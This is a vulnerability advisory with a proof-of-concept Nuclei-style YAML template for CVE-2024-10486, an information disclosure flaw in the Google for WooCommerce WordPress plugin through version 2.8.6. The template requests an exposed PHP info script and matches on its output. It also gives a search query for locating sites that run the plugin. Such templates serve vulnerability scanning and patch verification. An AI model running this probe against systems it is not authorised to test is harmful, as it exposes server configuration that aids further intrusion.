The Google for WooCommerce plugin for WordPress is vulnerable to Information Disclosure in all versions up to, and including, 2.8.6. This is due to publicly accessible print_php_information.php file. This makes it possible for unauthenticated attackers to retrieve information about Webserver and PHP configuration, which can be used to aid other attacks.
PoC代码[已公开]
id: CVE-2024-10486
info:
name: Google for WooCommerce <= 2.8.6 - Information Disclosure via Publicly Accessible PHP Info File
author: popcorn94
severity: medium
description: |
The Google for WooCommerce plugin for WordPress is vulnerable to Information Disclosure in all versions up to, and including, 2.8.6. This is due to publicly accessible print_php_information.php file. This makes it possible for unauthenticated attackers to retrieve information about Webserver and PHP configuration, which can be used to aid other attacks.
impact: |
Unauthenticated attackers can access PHP configuration information including server details, installed extensions, and environment variables, which can aid in planning further attacks.
remediation: |
Update Google for WooCommerce plugin to version 2.8.7 or later.
reference:
- https://plugins.trac.wordpress.org/browser/google-listings-and-ads/tags/2.8.6/vendor/googleads/google-ads-php/scripts/print_php_information.php
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/google-listings-and-ads/google-for-woocommerce-286-information-disclosure-via-publicly-accessible-php-info-file
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-10486
cwe-id: CWE-862
epss-score: 0.0433
epss-percentile: 0.88607
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/google-listings-and-ads/"
tags: cve,cve2024,wp,wordpress,wp-plugin,google-listings-and-ads,info-leak,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/google-listings-and-ads/vendor/googleads/google-ads-php/scripts/print_php_information.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402207631d43389c08b987e6c426f7ce2a7c3d393bc88d348a12983080853d3a1a9cb0220100f0b7f76454f649eaf77eada0fa45736ec127dde33f529ae6270963ff156c0:922c64590222798bb761d5b6d8e72950